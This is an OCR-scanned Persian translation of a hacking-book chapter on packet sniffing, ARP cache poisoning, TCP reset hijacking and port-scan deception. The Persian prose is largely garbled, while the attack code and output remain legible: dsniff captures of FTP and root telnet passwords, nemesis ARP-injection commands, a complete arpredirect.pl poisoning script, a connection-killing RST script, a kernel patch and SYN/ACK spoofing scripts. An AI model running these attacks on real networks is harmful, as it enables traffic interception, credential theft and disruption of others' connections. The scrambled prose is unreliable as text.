0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...2331.Password
0x0040 2072 6571 7569 7265 6420 666f 7220 6¢C65 .required. for.le
0x0050 6563 ec

21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840
<nop,nop, timestamp 921435 466885> (DF) [tos 0x10]

0x0000 4510 0034 9671 4000 4006 21bb cO0a8 00cl E..4.g@.@.!'.....
0x0010 c0a8 0076 800a 0015 5ed4 9cfd4 292e Babe P VA A R
0x0020 8010 16d0 7eb5b 0000 0101 080a 000e 0f5b B [

0x0030 0007 1fc5 ..

21:27:56.155458 192.168.0.193.32778 > 192.168.0.118. ftp P 13:27(14) ack 76
win

5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10]

0x0000 4510 0042 9672 4000 4006 2lac cOa8 00cl E..B.r@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cfd4 292e 8abe P VA R
0x0020 8018 16d0 90b5 0000 0101 080a 000e 10dl ittt ennnnn
0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.18@nite

0x0040 0dOa

21:27:56.179427 192.168.0.118.ftp > 192.168.0.193. 32778 P 76:103(27) ack
27 win

17290 <nop,nop,timestamp 466923 921809> (DF)

0x0000 4500 004f eOcc 4000 8006 9754 cO0a8 0076 E..0..@....T...v
0x0010 c0a8 00cl 0015 800a 292e 8abe 5ed4 9do02  ........ ) A
0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb J O

Iy



0x0030 000e 10dl 3233 3020 5573 6572 206c 6565 ....230.User.lee
0x0040 6368 206c 6f67 6765 6420 696e 2e0d Oa ch.logged.in...

JLke )3 . Aiiwd (5 ioy mé b (unencrypted) oais (s )15 joypué POP3 9 FTP Telnet Jusd jl gl a9
oxSY Olidee JUS )3 5w G208 310 092 23S g0 SV FTP 9 o0 S 4 18@0it yguc o) b po S (Jud
SLe dins Slellbl b yisu )3 (Solw 4 ygae o) 9 I G pb 39d oo plonil IS o) put sob 4
O 6555 @il ol Lol il o) sbiio 33z 9 o3l §d sniffer oG Tepdump siiuwd o piws S8 Jlasl
dsniff eyl ul ol o petee S (59 351 038 (> b i sgae S 30 9 SIS Sleob (Somim (sl 0309

ol

# dsniff -n
dsniff: listening on ethO

12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp)
USER leech
PASS 18@nite

12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet)
USER root
PASS 5eCr3t

Sl o) 9 SIS b pb (b yob 4 2ilgi )5 3945 G 3L dsniff Jio )1l Jl o385 SeS U9 (2>
)_EJLh.ii.iﬂ.A_ISb)l.é.'i.w|l_b'o.‘«'.m_,..w)3._:)C).'«'p'b._ﬂb)blénoﬁgw&qqlp‘-[ﬂg»kqb%ag))b)w

VTS
Jled 5wl W,W,)

0T 13 Lo &gy (2 45 39 (g0 luw | 2o insnn S 210 )95 42 i s i o' (70 g0 4Sas g S5
e 5La o T ol )8 Gl 32db s dtany CBL > phitie 9 030 jU b i C3b > Cagr Job I pitasan
S5 9 3Lzl 1) 93z 3lgnr U aulb o 1) (55 20dsn 1381 Casean 318 0l 39 g0 plovil Muatiio (131
2= 03 cdbo (1 45 Heb Olod .3bb 13 00 sl dul) asine s &9 9 MAC o w)sT w 0T )3 45 28

sl 83 2391
Port / MAC table
Port 1 - 00:00:00:AA:AAAA J

Port 2 - 00:00:00:BB:EB:BB
Port 3 - 00:00:00:CC.CC:CC

00:00:00:AA:AAAA 00:00:00:BB:BB:BB 00:00:00:CC:CC:CC

3 Switched Network Environment
IPE
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03 VLI L 320l (o SPOOSiING | ) sy S )3 gio yu 3T Jo2z Joos 35 b 00 | 5T 45 250 Suble
Sl 3 4 1z 390 (50 SVL o e S5 ($9) b3 dbml cu pd S Sy sl di> 4 4 spoofing
335 o5 plomil ol pal Gz Sz 03 Slles gad 9 839) Cubls iy S @eke s T 0352 pine b eiiaen
=0 ARP 5 ;505 o 3,590 93 Gl (Fud g 4Sed S5 U5 B diwy Gyl 43 p (udsl Spoofing Oldee
3929 ARP Cache s Wb 45 598 <l 5 IP w)5T S5 LARP Reply oG 45 ol et 315 3929
Sz G ) gl 03 39290 9 332 )18 o s T Olelbl 035 1S ot Sl (ol )3 Canl bl
&l (Permanent) coli & g0 4 ARP Cache s entry o 4] p50) 35S 0 o il adsl OleUbl
ARP 3iilg5 (oo disod aiiw i ) ARP Request o Lo o p 51 > aSl pos (bl o3 (5135
G Joe =l Oz 29— o0 (13455 ARP S8l 5 0,05 sumdy Oledbl S |z oS <dl s | Reply
DS (o0 5 0 azm L) SS9 0 9 s jls (s iy b8l

ST A S 3 ) 4 S5 sl 25l S 3985 4 gl Sy ghenST s> 4 2 A (o S elSn
Slo-= 55985 .l plouil JoB (ARP Redirection) ARP Cylaa/ gz i pb 4 (SiST L S (ol .3id 500
olelbl L ARP Cache sl—io 0ad 53 o Joo ol 35w 3 (o0 paseiio Sl piwaw 4 1) ARP 2> s
Sl 5yl g ool o (ARP Cache Poisoning) ARP » ,u53 03,5 pgoue |51 45 558 00 jSa
IP o s3T sy s 4 45 S pgoue Su9b ) A piuus ARP Cache gl 355 B g A dbiii 95 oy 450
$9b 39 5B piss ARP Cache (T LS 3 .5)15 dasl) j33 95 e (5131 Cstaw w3 TL B pitaansan
SLS G 31 Al 53955 @iammens (S8 Cstaw o3 T U A i IP o5 T 3wy S5 4 45 59 pgonne
090 B 9 Ay S35 ples ygeo ol 435S Ul )l dbgspo (2les Saio 4 1) bty (] 5395 45 il
23S iy y9ac s )5 3985 piumew jl i Jolio et 4 OleMbl il )35 )5 Lol 39 g0 8315 LT Jy 9205 JSuio
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System A A s System B B o

IP: 192.168.0.100 IP: 192.168.0.200

MAC: 00:00:00:AA:AA:AA MAC: 00:00:00:BB:BB:BB
Internal ARP cache Internal ARP cache

192.168.0.200 at 00:00:00:FA:CA:DE 192.168.0.100 at 00:00:00:FA.CA:DE

/

Attacker system 5356 oo
IP: 192.168.0.137
MAC: 00:00:00:FA-CA:DE

Internal ARP cache <) A &Sl
192.168.0.100 at 00:0COCAAAAAA B e ocas
192.168.0.200 2t 00:00:00:BB:56:8 . 4 S

IP Sl )5 13 (3iiS g0 (535 4w Ly ARP Cache Gulwl o 553 b dms (59, ) Co 5l slajon B g A 0s=
L5 g g - S22 9 398 (00 Sl JS 3985 (51381 Cudean s T 4 Jos U5 ((2uaiio) B pitusss 932 U A pitusan
IS o IS 035 (500 4l 45 yob Olod gigm (rlprls - 3S (go St L) (S8 S 3T o (line SB1 5
O D)9 4 ik S 395 pdtammew (S]] St o3 Tpile S 1B 9 A (sl it 1 JUo )l TP Sl 5 9
o S5 13 azme cawlio & 51 sl yaa b 1) TP sla diany 53985 alSST .3 15 (o0 )l jS 3985 pituman 1> 230
TS 9w 315,58 (0 JL (N9 oo (B3 paane gumid paamne 4 W diuasy LT 3 45) g 40 1) LT 9 (remap) xS
i 4 S35 (redirection) culsa Jilie )3 45 Conl b (SL S Sl el (2l 323 (o0 planil ) 395 dinbig
238395 ) S50k

SLa gl 9 JLw )l o Juolsd s 1) ARP 2dls s canlgs)s (b8 sy uble dime-out juskio jl 5L
pyom—s 359 3ol S 3945 Redirection o> gale 1> ub g .38 g0 <db s wly )3 L) ARP 285
Sl gl )l ULS ol szl sl 23k ol S5 35 4alsl ) U3 sl oyuisle sl ARP Cache ¢35
sl B g A giaansans 40 (456 53y o) cull Sloj Juolgd ,3 ARP ez

Ol 35 g0 B pammns b pitiy| 4 A 51> 4t I ) bl 5 plod 45 Cannl godamsnn | ol Sy
Ui Pl U= (S8 e (adle jl (S5 48 sialonil g0 S SO WMzl 4 SLj ARP Redirection
OT s i) Sl 5 cadisin )3 593 g S 9 y2 0D L (BN g o SIS 4 L il o
3 w59 (192.168.0.1) (blisl Jy S b (192.168.0.118) ¢yaile Sy ST iJlio (5130 -anw pitasmsan
o= Olg o i 832 o Cl> )3 5o SR D gdime 39330 (5138 Casew T 4 Sl (3l bl )l Jl>
3,8 (redirect) calan b 513 cagzr s 15T 3L S5 ¢yl Gl g 3,5 Gl (Sl 4 1) Sudl 5
Olgd 50 45 Camnsl 192.168.0.1 9 192.168.0.118 (51381 s sl w31 4 L5 Ianl S5 calan sl 0
osliuwl ARP jI L)l (51,3 0 g [P bl )l don 45 iz 39T Cawds b O juo ol 03,5 S b 1) LesT

.).us‘;o

# ping -¢ 1 -w 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 octets data
64 octets from 192.168.0.1: icmp seg=0 ttl=64 time=0.4 ms

---192.168.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss

”* Gateway
76 default gateway
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round-trip min/avg/max = 0.4/0.4/0.4 ms

# ping -c 1 -w 1 192.168.0.118

PING 192.168.0.118 (192.168.0.118): 56 octets data

64 octets from 192.168.0.118: icmp seg=0 ttl=128 time=0.4 ms

---192.168.0.118 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.4/0.4/0.4 ms

# arp -na

? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on ethO

? (192.168.0.118) at 00:CO0:F0:79:3D:30 [ether] on ethO

# ifconfig ethO

ethO Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:4153 errors:0 dropped:0 overruns:0 frame:0
TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)
Interrupt:9 Base address:0xc000

f,_?,.. ARP Cache ,5192.168.0.1 5 192.168.0.118 (s 133l s sl > T «Ssiy == I oy
O 3 5lg o )5 3985 (puible 4 Culad I puy b i 13 sizwd oY ARP Cache 5 ©ledbl ¢l .59 sialys
Olo (o0 09381 35l 22 JsbaolS dund 093 IP-Forwarding (sla cudsls 4l (58 L . 3duw 0 395 (o1lgs uaile
4S 595 48 192.168.0.118 @i 4 3L 23,8 o3litwl phiio Sloj sl 295 )3 ARP o> jewly 3z I
4S oiS 2L 5w 192.168.0.1 e 4 0315 1,5 00:00:AD:D1:C7:ED o ,5T 55 192.168.0.1 pitammsen
i oslitwl L olgs o0 1) ARP o> (5la 4w ol .2l 00:00:AD:D1:C7:ED a7 ,5192.168.0.118
Jool ,3 Nemesis .(cawl command line & 9o 44 45) 5,5 G5 Nemesis pb b " diu G2 5 1l S5
L amly Jliml S 40 ) E e 3 1381 p 5 ool Lol 339 03 diogs ™ sy 35 S )lo Lauwgs 45 399 (51l i

28 o VN OUG Gz 6 4 232 (65 4
# nemesis

NEMESIS -=- The NEMESIS Project Version 1.4beta3 (Build 22)

NEMESIS Usage:
nemesis [mode] [options]

NEMESIS modes:
arp
dns
ethernet
icmp
igmp
ip
ospf (currently non-functional)
rip
tcp
udp

NEMESIS options:
To display options, specify a mode with the option "help".

# nemesis arp help

7 packet injection
® Mark Grimes
7 Jeff Nathan
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ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build
22)

ARP/RARP Usage:
arp [-v (verbose)] [options]

ARP/RARP Options:

-5 <Source IP address>

-D <Destination IP address>

-h <Sender MAC address within ARP frame>

-m <Target MAC address within ARP frame>

-s <Solaris style ARP requests with target hardware addess set to
broadcast>

-r ({ARP,RARP} REPLY enable)

-R (RARP enable)

-P <Payload file>

Data Link Options:
-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>

You must define a Source and Destination IP address.

#

# nemesis arp -v -r -d ethO -S 192.168.0.1 -D 192.168.0.118 -h
00:00:AD:D1:C7:ED -m

00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1l.4beta3 (Build
22)

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.1 > 192.168.0.118
[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT ENI1OMB.

ARP Packet Injected

# nemesis arp -v -r -d ethO -S 192.168.0.118 -D 192.168.0.1 -h
00:00:AD:D1:C7:ED -m

00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build
22)

[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.118 > 192.168.0.1
[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT ENI1OMB.

ARP Packet Injected

1YA



#
S5 93 pb 3iiS o J Sy 5 192.168.0.118 4 192.168.0.1 j1 1, ARP sl guuly ysiaws 93 (!

=12 (00:00:AD:D1:C7:ED) ;8358 (51 8l Caseawr w5 T L LesT (61381 Caseanw 3T 45 3513 50 Ole3l

S gealy l (313 plal 215 Uy 295w b L ISl Ols5 (g0 45) 2igdd 1SS 456 03 2 by giwd ol ST .Camsl
i3 (00 dol3l S5 culsa 9 b ARP Cache 03,8 pgosne 4 ARP oo

# perl -e 'while(l) {print "Redirecting...\n"; system("nemesis arp -v -r -d

eth0 -S

192.168.0.1 -D 192.168.0.118 ~h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H

00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30"); system("nemesis arp -v -r -d ethO

-S

192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H

00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01") ;sleep 10;}"'

Redirecting...

Redirecting...

3,5 Suilogsl Uy Cagg Sl S5 1 o3isanl b Olgs g0 1y 35T ol JS

arpredirect.pl
#!/usr/bin/perl
Sdevice = "ethO";

SSIG{INT} = \&cleanup; # Trap for Ctrl-C, and send to cleanup
$flag = 1;

Sgw = shift; # First command line arg
Starg = shift; # Second command line arg
if (($gw . "." . S$targ) !~ /~([0-91{1,3}\.){7}[0-91{1,3}1%/)

{ # Perform input validation; if bad, exit.
die ("Usage: arpredirect.pl <gateway> <target>\n");
}

# Quickly ping each target to put the MAC addresses in cache
print "Pinging $gw and $targ to retrieve MAC addresses...\n";
system("ping -q -¢ 1 -w 1 $gw > /dev/null");

system("ping -g -¢ 1 -w 1 $targ > /dev/null");

# Pull those addresses from the arp cache

print "Retrieving MAC addresses from arp cache...\n";
Sgw mac = gx[/sbin/arp -na $gw]l;

$gw_mac = substr(Sgw mac, index($gw mac, ":")-2, 17);
$targ mac = gx[/sbin/arp -na $targl;

$targ mac substr ($targ mac, index(Starg mac, ":")-2, 17);
# If they're not both there, exit.
if (Sgw_mac !~ /"~ ([A-FO0-91{2}\:) {5} [A-F0-91{2}$/)
{
die ("MAC address of $gw not found.\n");
}

if(S$targ mac !~ /7~ ([A-F0-91{2}\:) {5} [A-F0-9]1{2}$/)
{
die ("MAC address of S$targ not found.\n");

}
# Get your IP and MAC

print "Retrieving your IP and MAC info from ifconfig...\n";
@ifconf = split(" ", gx[/sbin/ifconfig $device]);

Sme = substr(@ifconf[6], 5);

$me mac = Q@ifconf[4];

print "[*] Gateway: $gw is at Sgw mac\n";

print "[*] Target: $targ is at $targ mac\n";

print "[*] You: S$me is at Sme mac\n";

while ($flagqg)

v



{ # Continue poisoning until ctrl-C
print "Redirecting: $Sgw -> Sme mac <- Starg";
system("nemesis arp -r -d S$device -S $gw -D $targ -h Sme mac -m
-H
$me mac -M S$targ mac");
system("nemesis arp -r -d $device -S Starg -D $gw -h Sme mac -m
$me mac -M $gw mac");
sleep 10;
}

sub cleanup

{ # Put things back to normal

$flag = 0;

print "Ctrl-C caught, exiting cleanly.\nPutting arp caches back
normal.";

system("nemesis arp -r -d $device -S Sgw -D $targ -h Sgw mac -m
-H

$gw _mac -M $targ mac");

Starg mac

$gw _mac -H

to

Starg mac

system("nemesis arp -r -d $device -S S$targ -D $gw -h Starg mac -m Sgw mac

-H
$targ mac -M $gw_mac");

}

# ./arpredirect.pl
Usage: arpredirect.pl <gateway> <target>
# ./arpredirect.pl 192.168.0.1 192.168.0.118

Pinging 192.168.0.1 and 192.168.0.118 to retrieve MAC addresses..

Retrieving MAC addresses from arp cache...

Retrieving your IP and MAC info from ifconfig...

[*] Gateway: 192.168.0.1 is at 00:50:18:00:0F:01

[*] Target: 192.168.0.118 is at 00:C0:F0:79:3D:30

[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED

Redirecting: 192.168.0.1 -> 00:00:AD:D1:C7:ED <- 192.168.0.118
ARP Packet Injected

ARP Packet Injected
Redirecting: 192.168.0.1 -> 00:00:AD:D1:C7:ED <- 192.168.0.118
ARP Packet Injected

ARP Packet Injected

Ctrl-C caught, exiting cleanly.
Putting arp caches back to normal.
ARP Packet Injected

ARP Packet Injected
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src :192.168.0.100
dst :192.168.0.200
seq #: 1429775000
ack #:1250510000 -
len :24 B s aad

192.168.0.200

A g

192.168.0.100 src :192.168.0.200
dst :192.168.0.100

seq #:1250510000
ack #:1429775024
len :167 src :192.168.0.100

dst :192.168.0.200
seq #: 1429775024

ack #:1250510167
len :71
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Bl il Cgz TCPDump 1ol 5,5 | >Inemesis g awk g tcpdump os= 10l b Olgs (0 1) OISU ol
33 o ploul ACK (5 03 0abiis KU b ol diw 93,5 sild b 1) 3 T8 ol 45 598 g0 03kisenl b3
S5 515 plovil 338 g0 gws 2 1) TCP 3 43 35250 CaS gl (yaod jumw 45 dianny iled Sy b 05 g0 1) Jok (0]
ACK & , 351 2y 2auud FIN 9 SYN RST PSH AACK {URG & )90 4 Cansl) 4 2 jl i 5 4
o S1.(2bL o 15 (23 83 Uslee 45) Cuwl 00010000 900 4 (s 0k 23 (2 lid (paod 3 jumw bl (pibg)
53 Jsleo 45 o2 ,als 00010010 &g 4 s )b > 5 CaS gl puod s juw 3ib 9y ACK o 5 SYN

Lol VA 25

o Olgs (50 23S Joe ACK b 399 (pibg) 0loj 3 deii 505 4 4295 0930 ilg0 45 (5 ,d slowl (sl 4
P& 1,0 03,8 salss 1, 00010000 s4g5 00010000 L 00010010 ©s5,5 AND .3,8 sslawl I, AND 0

SLa @ ACP[13] & 16 == 16 jukd  —imy 39— sdlss 39290 Cuw Lo ACK Caw cun 93 j 0390 (b9
S yilid o S5 ,S03 Canmidg 1 b5 b o [) ACK b b o i

# tcpdump -S -n -e -1 "tcp[l3] & 16 == 16"

tcpdump: listening on ethO

22:27:17.437439 0:0:ad:dl:c7:ed 0:c0:£0:79:3d:30 0800 98: 192.168.0.193.22

>

192.168.0.118.2816: P 1986373934:1986373978(44) ack 3776820979 win 6432 (DF)
[tos

0x10]

22:27:17.447379 0:0:ad:dl:c7:ed 0:c0:£0:79:3d:30 0800 242: 192.168.0.193.22
>

192.168.0.118.2816: P 1986373978:1986374166(188) ack 3776820979 win 6432
(DF) [tos
0x10]

Juas 1) tepdump el o —n S8 ans (o0 1) Glhe g5 sl o leis 03,5 Lz giws tepdump 4 —s Kb
2kl dump line ja (59, Juash-ghaw y32 03,5 Oz sl —€ S wglhe; .38 o gio b pb 4 b )T
pipe) 3,5 culsa aWK aiile (5,553 Sl 4 1T Olgd (0 13 S g0 3L 1) o295 b -1 S 5940
ssbiie 4 tepdump sla o=9,5 " juunis 1 m ST Olgs oo 45 Canl 23l G i ySewl 3ol Sy awk
3= ) 2385 9 JgT S 2 )lods uizmed 9 (SIS Cuttuw S s T s )9y 3t 9 lase s T gl psiuwl
392 Frawly L $l= S Cunl 3932 Jlgi o)lods Sz )5 «D3d Sl (2905 L ST G200 o)leds
MG RST e diuw S 03,5 y9liss cugz Nemesis 1581 p s jl osbisul b 0lgs g0 1) Sledbl opl .3l Uil
g g0 TESEL (sl 4Bl tepdump a8 Sl plos 9 396 (g0 Sl 2> dian ol ST 5 0

File: hijack rst.sh

#!/bin/sh
tcpdump -S -n -e -1 "tcp[l3] & 16 == 16" | awk '{
# Output numbers as unsigned

CONVEMT="%u";

# Seed the randomizer
srand () ;

# Parse the tcpdump input for packet information
dst mac = $2;

src_mac = $3;

split ($6, dst, ".");

split ($8, src, ".");

src_ip = src[l]"."src[2]"."src[3]"."src[4];

dst ip = dst[l]"."dst[2]"."dst[3]"."dst[4];

8 parse
|y



src_port = substr(src([5], 1, length(src[5])-1);
dst port dst[5];

# Received ack number is the new seg number
seq num = $12;

# Feed all this information to nemesis

exec _string = "nemesis tcp -v -fR -S "src ip" -x "src port" -H "src mac"
-D
"dst ip" -y "dst port" -M "dst mac" -s "seq num;

# Display some helpful debugging info.. input vs. output
print "[il’l] "$l" n$2n "$3" n$4n "$5" "$6" "$7" n$8n "$9" nslon "$ll" "$12,’
print "[out] "exec string;

# Inject the packet with nemesis
system(exec string);

} 1

o= SSH s S 1353 )8 e Teset panseis jases OLbLi)l plos i )Swl oml = jase 4
Ll s reset o Jto 4> 192.168.0.118 9192.168.0.193

# ./hijack rst.sh

tcpdump: listening on ethO

[in] 22:37:42.307362 0:c0:£f0:79:3d:30 0:0:ad:dl:c7:ed 0800 74:
192.168.0.118.2819

> 192.168.0.193.22: P 3956893405:3956893425(20) ack 2752044079

[out] nemesis tcp -v -fR -5 192.168.0.193 -x 22 -H 0:0:ad:dl:c7:ed -D
192.168.0.118

-y 2819 -M 0:c0:£0:79:3d:30 -s 2752044079

TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[Ethernet type] IP (0x0800)

[IP] 192.168.0.193 > 192.168.0.118
[IP ID] 22944
[IP Proto] TCP (06)
[IP TTL] 255
[IP TOS] 00
[IP Frag offset] 0000
[IP Frag flags]
[TCP Ports] 22 > 2819
[TCP Flags] RST
[TCP Urgent Pointer] O
[TCP Window Size] 4096

Wrote 54 byte TCP packet through linktype DLT EN1OMB.

TCP Packet Injected

[in] 22:37:42.317396 0:0:ad:dl:c7:ed 0:c0:£0:79:3d:30 0800 74:
192.168.0.193.22 >

192.168.0.118.2819: P 2752044079:2752044099 (20) ack 3956893425

[out] nemesis tcp -v -fR -S 192.168.0.118 -x 2819 -H 0:c0:£0:79:3d:30 -D
192.168.0.193 -y 22 -M 0:0:ad:dl:c7:ed -s 3956893425

TCP Packet Injection -=- The NEMESIS Project Version 1l.4beta3 (Build 22)
00:CO0:F0:79:3D:30 > 00:00:AD:D1:C7:ED

IP (0x0800)
192.168.0.118 > 192.168.0.193

(MA
[Ethernet type

C]
]
[IP]
]
]
]

[IP ID] 25970
[IP Proto] TCP (6)
[IP TTL] 255

ey



[IP TOS] 00
[IP Frag offset] 0000
[IP Frag flags]

[TCP Ports] 2819 > 22
[TCP Flags] RST
[TCP Urgent Pointer] O

[TCP Window Size] 4096
Wrote 54 byte TCP packet through linktype DLT EN1O0OMB.

TCP Packet Injected
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# grep -n -A 12 "void.*send reset" /usr/src/linux/net/ipv4/tcp ipvé.c
1161:static void tcp v4 send reset(struct sk buff *skb)

1162-{

1163~ struct tcphdr *th = skb->h.th;

1164- struct tcphdr rth;

1165- struct ip reply arg arg;

1166-

1167- return; // Modification: Never send RST, always return.
1168~

1169- /* Never send a reset in response to a reset. */
1170- if (th->rst)

1171~ return;

1172-

1173- if (((struct rtable*)skb->dst)->rt type != RTN LOCAL)

Sl Gd 25,55 sl plosl slon (] 48l Gioles pusud O g0 &) return ygiws v ,5 ¥lal b
SLe sy 4S5 Cdls panlgs JLasl )3 1) gl wid 332w JalolS Sl oy 398 o =l tep_v4 send reset()

Dgd g0 Oledbl Had 1 &sb b 2l U9 3S o Jlul |, Teset

FIN scan before the kernel modification:
# nmap -vvv -sF 192.168.0.189

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Host (192.168.0.189) appears to be up ... good.

Initiating FIN Scan against (192.168.0.189)

The FIN Scan took 17 seconds to scan 1601 ports.

Adding open port 22/tcp

Interesting ports on (192.168.0.189):

(The 1600 ports scanned but not shown below are in state: closed)
Port State Service

22/tcp open ssh
Nmap run completed -- 1 IP address (1 host up) scanned in 17 seconds
#

FIN scan after the kernel modification:
# nmap -sF 192.168.0.189

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
All 1601 scanned ports on (192.168.0.189) are: filtered

Nmap run completed -- 1 IP address (1 host up) scanned in 100 seconds

#
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File: shroud.sh

#!/bin/sh

HOST="192.168.0.189"

/usr/sbin/tcpdump -e -S -n -p -1 "(tcp[13] == 2) and (dst host S$HOST)
and ! (dst

port 22)" | /bin/awk '{

# Output numbers as unsigned
CONVEFMT="%u";

# Seed the randomizer
srand () ;

# Parse the tcpdump input for packet information
dst mac = $2;

src_mac = $3;

split ($6, dst, ".");

split ($8, src, ".");

src_ip = src[l]"."src[2]"."src[3]"."src[4];

dst ip = dst[l]"."dst[2]"."dst[3]"."dst[4];
src_port = substr(src([5], 1, length(src[5])-1);
dst port = dst[5];

# Increment the received seq number for the new ack number
ack num = substr($10,1,index($10,":")-1)+1;

# Generate a random seqg number
seq num = rand() * 4294967296;

# Feed all this information to nemesis

exec_string = "nemesis tcp -v -fS -fA -S "src ip" -x "src port" -H
"src_mac" -D
"dst_ip" -y "dst port" -M "dst mac" -s "seqg num" -a "ack num;

# Display some helpful debugging info.. input vs. output
print "[in} nsl" "$2" "$3" "$4" "$5" "$6" "$7" "$8" ll$9ll nslo;
print "[out] "exec string;

# Inject the packet with nemesis
system(exec string);

b

9 plowl 9Lsags A5 IP o ysT G HOST jopitto obiss 1 9lisebl Jgaaz 3L ciass Snl ol (51,21 (510

= U5 1) o ld ds Lo jalid opl bl 394 0 as3liiwl tepdump ikd oS (sl (o lid paod S juw 133520

=090 OT SYN Sb s 9 2l PY | ju 4 )92 59 «2bb podre O jwo IP o5 T (sl Ol suaiio 45 S
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SYN/ACK gl diwms So 5 59 (0 8313 NIEMESIS 4 9 53 puannis AWK dlanslgy (51 it OleUbl uan
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From overdose @ 192.168.0.193:

overdose$ telnet 192.168.0.189 12345
Trying 192.168.0.189...

Connected to 192.168.0.189.

Escape character is '"~]'.
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telnet> g
Connection closed.
overdoseS$

The shroud.sh script running on 192.168.0.189:

# ./shroud.sh

tcpdump: listening on ethl

[in] 14:07:09.793997 0:0:ad:dl:c7:ed 0:2:2d:4:93:e4 0800 74:
192.168.0.193.32837 >

192.168.0.189.12345: S 2071082535:2071082535(0)

[out] nemesis tcp -v -fS -fA -5 192.168.0.189 -x 12345 -H 0:2:2d:4:93:e4 -D
192.168.0.193 -y 32837 -M 0:0:ad:dl:c7:ed -s 979061690 -a 2071082536

TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

[MAC] 00:02:2D:04:93:E4 > 00:00:AD:D1:C7:ED
[Ethernet type] IP (0x0800)

[IP] 192.168.0.189 > 192.168.0.193
[IP ID] 2678
[IP Proto] TCP (06)
[IP TTL] 255
[IP TOS] 00
[IP Frag offset] 0000
]

[IP Frag flags

[TCP Ports] 12345 > 32837
[TCP Flags] SYN ACK
[TCP Urgent Pointer] O
[TCP Window Size] 4096
[TCP Ack number] 2071082536
[TCP Seq number] 979061690

Wrote 54 byte TCP packet through linktype DLT EN1OMB.
TCP Packet Injected

i b Do el (59 GSwoo S )9 plod 45 solomil g0 4 (I 4 SYN
overdose# nmap -sS 192.168.0.189

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on (192.168.0.189):
Port State Service
1/tcp open tcpmux
2/tcp open compressnet
3/tcp open compressnet
4/tcp open unknown
5/tcp open rije

6/tcp open unknown
7/tcp open echo

8/tcp open unknown
9/tcp open discard
10/tcp open unknown
11/tcp open systat
12/tcp open unknown
13/tcp open daytime
14/tcp open unknown
15/tcp open netstat
16/tcp open unknown
17/tcp open gotd

18/tcp open msp

19/tcp open chargen
20/tcp open ftp-data

VEY



21/tcp open ftp

22/tcp open ssh
23/tcp open telnet
24/tcp open priv-mail
25/tcp open smtp

[ output trimmed ]

32780/tcp open sometimes-rpc23
32786/tcp open sometimes-rpc25
32787/tcp open sometimes-rpc27
43188/tcp open reachout

44442 /tcp open coldfusion-auth
44443 /tcp open coldfusion-auth
47557 /tcp open dbbrowse

49400/ tcp open compagdiag
54320/tcp open bo2k

61439/tcp open netprowler-manager
61440/tcp open netprowler-manager?2
61441 /tcp open netprowler-sensor
65301 /tcp open pcanywhere

Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds
overdose#
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File: shroud2.sh

#!/bin/sh
HOST="192.168.0.189"
/usr/sbin/tcpdump -e -S -n -p -1 "(tcp[l13] == 2) and (dst host $HOST)" |
/bin/awk
'
# Output numbers as unsigned
CONVEMT="%u";

# Seed the randomizer
srand () ;

# Parse the tcpdump input for packet information
dst mac = $2;

src_mac = $3;

split($6, dst, "."); split($8, src, ".");
src_ip = src[l]"."src[2]"."src[3]"."src[4];

dst ip = dst[l]"."dst[2]"."dst[3]"."dst[4];
src_port = substr(src([5], 1, length(src[5])-1);

dst port = dst[5];

# Increment the received seq number for the new ack number
(R



ack num = substr($10,1,index($10,":")-1)+1;
# Generate a random seqg number
seq num = rand() * 4294967296;

# Precalculate the sequence number for the next packet
